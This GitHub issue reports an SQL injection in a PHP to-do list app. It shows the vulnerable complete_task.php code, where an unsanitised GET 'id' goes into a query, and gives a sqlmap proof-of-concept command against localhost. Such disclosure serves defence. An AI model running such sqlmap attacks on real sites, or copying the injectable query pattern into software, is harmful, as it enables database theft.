

New issue



# SourceCodester Simple To-Do List System Using PHP complete\_task.php SQL injection #9

Open



zonesec0 opened 2 weeks ago



## NAME OF AFFECTED PRODUCT(S)

Simple To-Do List System

## Vendor Homepage

<https://www.sourcecodester.com/php/17897/simple-do-list-system-using-php.html>

## AFFECTED AND/OR FIXED VERSION(S)

### submitter

zonesec

### Vulnerable File

complete\_task.php

### Software Link

<https://www.sourcecodester.com/php/17897/simple-do-list-system-using-php.html>

## PROBLEM TYPE

### Vulnerability Type

SQL injection

### Root Cause

On the ninth line of the complete\_task.php file, \$id are used to retrieve user input and execute it, which may lead to SQL injection attacks.

```
php complete_task.php x php database.php php delete_task.php php register.php php progress_task.php
1 <?php
2 include 'database.php';
3
4 if (isset($_GET['id'])) {
5     $id = $_GET['id'];
6
7     // Move to history
8     $conn->query( query: "INSERT INTO task_history (task, due_date, status)
9         SELECT task, due_date, 'completed' FROM tasks WHERE id=$id");
10
11     // Update task status
12     $stmt = $conn->prepare( query: "UPDATE tasks SET status='completed' WHERE id=?");
13     $stmt->bind_param( types: "i", &$id);
14     $stmt->execute();
15     $stmt->close();
16 }
17 ?>
```

## Impact

Attackers can exploit this vulnerability to gain database privileges, which can result in a large amount of data in the database. If the other party's database has DBA privileges, it may lead to server host privileges being obtained

## Vulnerability details and POC

```
python3 sqlmap.py -u http://localhost/complete\_task.php?id=1 --dbms=mysql --technique=T
```

Sign up for free to join this conversation on GitHub. Already have an account? [Sign in to comment](#)

### Assignees

No one assigned

### Labels

No labels

### Projects

No projects

### Milestone

No milestone

### Relationships

None yet

Development

Code with Copilot Agent Mode

▼

No branches or pull requests

Participants

